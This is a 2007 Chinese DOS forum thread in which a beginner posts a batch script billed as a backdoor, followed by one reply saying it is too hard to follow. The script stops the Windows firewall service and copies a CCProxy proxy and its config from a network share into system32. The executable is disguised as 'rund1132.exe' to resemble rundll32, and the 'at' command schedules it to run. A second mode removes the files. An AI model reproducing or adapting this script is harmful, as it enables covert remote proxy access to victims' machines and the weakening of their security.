中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --

联盟域名:www.cn-dos.net 论坛域名:www.cn-dos.net/forum
DOS,代表着自由开放与发展,我们努力起来,学习FreeDOS和Linux的自由开放与GNU精神,共同创造和发展美好的自由与GNU GPL世界吧!

中国DOS联盟论坛
现在时间是 2026-08-06 04:01
中国DOS联盟论坛 » DOS批处理 & 脚本技术(批处理室) » 新手学写批处理后门 查看 759 回复 1
楼 主 新手学写批处理后门 发表于 2007-10-18 10:24 ·  中国 广东 深圳 移动
初级用户
积分 24
发帖 9
注册 2007-08-01 11:16
19年会员
UID 94419
性别 男
状态 离线
@echo off
set p=\\192.168.0.%1\share\....\*.*
set p2=%systemroot%\system32\
set cm1=net stop sharedaccess
set cm2=taskkill /im "rund1132.exe" /F
set cm3=ping 127.0.0.1 -n 3
set cho=%2
if "%cho%"=="/i" goto i
if "%cho%"=="/d" goto d

:i
net start | find /I "ICS" >nul && %cm1% >nul
tasklist | find /I "rund1132.exe" >nul && %cm2% >nul && %cm3% >nul
copy %p% %p2% /y >nul && goto get_time
exit

:d
tasklist | find /I "rund1132.exe" >nul && %cm2% >nul && %cm3% >nul
del %p2%rund1132.exe
del %p2%CCProxy.ini
del %p2%AccInfo.ini
del %p2%CDial.dll
exit

:get_time
set h=%time:~0,2% & set m=%time:~3,2%
if "%h:~0,1%"=="0" set h=%h:~1,1%
if "%m:~0,1%"=="0" set m=%m:~1,1%
set /a m+=1
if "%m:~0,2%"=="60" (set /a h+=1 & set m=00)
if "%h:~0,2%"=="24" set t=00
set st=%h%:%m%
set st=%st: =%
at %st% cmd /c "rund1132.exe" >nul
exit
2 发表于 2007-10-19 01:16 ·  中国 广东 广州 电信
初级用户
积分 62
发帖 28
注册 2006-03-14 02:15
20年会员
UID 51994
状态 离线
呵呵,太高了,还看不明白``
论坛跳转: